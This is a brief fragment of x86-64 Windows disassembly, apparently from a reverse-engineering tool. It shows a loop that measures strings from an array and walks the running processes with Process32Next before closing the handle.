mov rdx, qword [rbx]
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rcx, r14
call fcn.140003610
add rbx, 0x10
dec rsi
jne 0x1400029a0
mov rdx, r12
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140002990
mov r15, qword [rsp + 0x20]
mov rdi, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
add rsp, 0x30
pop r14
pop r13
pop r12
jmp fcn.140006b50